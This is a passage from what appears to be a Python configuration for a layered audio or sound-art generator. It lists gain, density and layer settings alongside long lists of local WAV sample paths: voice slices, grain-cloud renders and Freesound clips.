# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-099.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-100.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-101.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-102.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-103.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-104.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-105.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-106.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-107.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-108.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-109.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-110.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-111.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-112.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-113.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-114.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-115.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-116.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-117.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-118.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-119.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-120.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-121.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-122.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-123.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-124.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-125.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-126.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-127.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-128.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-129.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-130.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-131.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-132.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-133.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-134.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-135.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-136.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-137.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-138.wav',
# '/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/proc/swarmy_graincloud-139.wav',
],
},
# sco2 main / raw, plain voice slices
'raw': {
# # tsx - trk031-1
# 'gain_max': -3,
# 'gain_min': -9,
# 'density': 0.45,
# epy - TRK044-autoedit-18
'gain_max': -6,
'gain_min': -12,
'density': 0.3,
'numlayer': 5,
'files': [
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0000.000000.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0000.064921.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0003.038980.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0003.665442.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0003.880522.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0003.969524.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0004.251020.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0004.263764.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0004.538095.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0004.720839.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0004.811565.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0005.081361.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0006.078231.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0006.233175.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0006.487982.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0006.625238.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0006.671224.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0006.799116.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0007.115918.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0008.033197.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0008.083900.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0008.302540.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0009.950612.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0010.822494.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0011.174195.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0012.297891.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0013.200658.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0013.548844.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0014.914399.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0015.049320.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0015.502562.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0018.029206.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0018.614807.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0019.820862.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0021.021814.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0021.946735.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0023.142744.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0024.956757.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0025.095692.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0026.744739.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0027.201723.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0028.177732.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0029.180068.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0029.874671.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0030.616599.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0032.105034.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0032.289070.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0034.239229.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0035.439501.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0039.035034.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0039.322744.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0042.620340.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0042.927347.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0043.847188.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0044.139048.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0045.068844.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0047.430544.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0047.723719.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0048.648481.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0048.936349.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0049.813832.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0050.125397.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0050.419161.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0052.233878.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0052.524127.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0053.450317.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0053.743810.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0060.628957.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0060.929796.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0061.484671.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0062.096281.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0063.056689.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0063.335283.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0063.926553.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0065.135193.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0067.241814.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0067.477370.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0069.075782.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0069.895964.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0070.281066.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0070.493900.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0073.826984.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0074.125057.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0074.286916.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0074.685578.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0075.281066.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0075.450567.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0075.855193.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0076.220136.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0076.533560.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0077.438685.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0077.733311.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0077.932426.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0079.234331.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0079.557914.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0080.139297.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0081.642857.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0082.265465.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0082.526939.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0082.851837.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0084.026939.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0084.303991.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0084.660522.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0085.394762.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0086.073515.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0088.208027.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0088.508413.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0089.408005.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0089.699002.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0091.197483.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0094.222540.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0094.516190.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0095.444399.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0098.099252.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0099.021315.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0099.311043.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0100.184422.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0100.499637.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0100.802426.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0102.035873.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0102.611293.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0102.898912.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0103.825964.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0104.118345.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0109.523175.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0109.673515.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0112.997392.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0113.182766.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0113.401020.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0114.635488.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0114.966712.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0115.801224.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0116.479025.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0117.055850.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0118.937279.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0119.412676.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0119.691837.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0121.501859.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0124.678299.wav',
'/media/x75/qif/lib/audio/work/sco_2/sco-voice-AUD-20201030-WA0000-seg150/sco-voice-AUD-20201030-WA0000_0124.757415.wav',
],
},
},
# trk021 side / proc
'trk021': {
'raw': {
'gain_max': 0,
'gain_min': -15,
'numlayer': 5,
'density': 0.85,
'files': [
'/home/x75/Downloads/freesound/trk021/572964__sieuamthanh__tieng-cuoi-nu-5-comp/572964__sieuamthanh__tieng-cuoi-nu-5-comp_0000.289773.wav',
'/home/x75/Downloads/freesound/trk021/572964__sieuamthanh__tieng-cuoi-nu-5-comp/572964__sieuamthanh__tieng-cuoi-nu-5-comp_0000.000000.wav',
'/home/x75/Downloads/freesound/trk021/572964__sieuamthanh__tieng-cuoi-nu-5-comp/572964__sieuamthanh__tieng-cuoi-nu-5-comp_0000.607029.wav',
'/home/x75/Downloads/freesound/trk021/572964__sieuamthanh__tieng-cuoi-nu-5-comp/572964__sieuamthanh__tieng-cuoi-nu-5-comp_0000.135057.wav',
'/home/x75/Downloads/freesound/trk021/572964__sieuamthanh__tieng-cuoi-nu-5-comp/572964__sieuamthanh__tieng-cuoi-nu-5-comp_0001.163107.wav',
'/home/x75/Downloads/freesound/trk021/572964__sieuamthanh__tieng-cuoi-nu-5-comp/572964__sieuamthanh__tieng-cuoi-nu-5-comp_0000.972426.wav',
'/home/x75/Downloads/freesound/trk021/572964__sieuamthanh__tieng-cuoi-nu-5-comp/572964__sieuamthanh__tieng-cuoi-nu-5-comp_0000.797823.wav',
'/home/x75/Downloads/freesound/trk021/572964__sieuamthanh__tieng-cuoi-nu-5-comp/572964__sieuamthanh__tieng-cuoi-nu-5-comp_0000.449660.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0023.465397.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0016.030295.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0011.540907.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0023.417596.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0000.951519.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0005.830499.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0023.022268.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0011.331134.wav',
'/home/x75/Downloads/freesound/trk021/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp/573921__ladyimperatrix__female-voice-oh-no-you-don-t-comp_0000.669365.wav',
